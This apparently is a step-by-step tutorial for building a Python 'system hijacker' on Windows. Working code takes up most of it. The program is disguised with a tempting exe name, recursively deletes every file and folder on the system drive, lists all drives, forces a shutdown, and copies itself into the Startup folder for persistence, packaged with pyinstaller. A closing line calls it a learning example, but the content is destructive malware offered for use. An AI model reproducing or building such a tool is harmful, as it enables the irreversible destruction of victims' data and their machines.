Create a Simple Python System Hijacker: Step‑by‑Step Tutorial

Introduction

With the rise of the information age, many people are curious about hacking and want to use the virtual network to do interesting things. This tutorial shows how to use Python to create a simple “hacker” tool that can obtain the system drive, list directories, delete files, and shut down the computer.

Project Goal

Demonstrate the most basic method of achieving auto‑run on boot by adding a file to the startup folder (registry method omitted).

Preparation

Write the code with Sublime Text 3 and execute step by step.

Implementation Steps

Use social engineering to choose an attractive exe name; the program does nothing visible when clicked.

Obtain the system drive letter using os.getenv('SystemDrive').

import os
print(os.getenv('SystemDrive'))

Print the directory tree of the drive and save it to 1.txt.

aa = os.getenv('SystemDrive')
os.chdir(aa + '\\')
os.system('tree>>1.txt')

Delete all files and folders on the drive using os.walk with os.remove and os.rmdir.

for root, dirs, files in os.walk(path, topdown=False):
    for name in files:
        os.remove(os.path.join(root, name))
    for name in dirs:
        os.rmdir(os.path.join(root, name))

Enumerate all disk letters.

import os, string
def get_pan():
    disk_list = []
    for p in string.ascii_uppercase:
        disk = p + ':'
        if os.path.isdir(disk):
            disk_list.append(disk)
    return disk_list
print(get_pan())

After file operations, force the computer to shut down. os.popen('shutdown /f /sg') Copy the script to the startup directory and optionally package it as an executable with pyinstaller, then launch it via a simple bat file.

import shutil
shutil.copyfile('gc.py', r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\gc1.py')
# bat content: start gc.exe

Conclusion

The article demonstrates how to use Python’s standard library (os, shutil, time) and basic Windows commands to obtain drive information, delete files, create a startup entry, and shut down the system, providing a lightweight example of a “hacker” tool for learning purposes.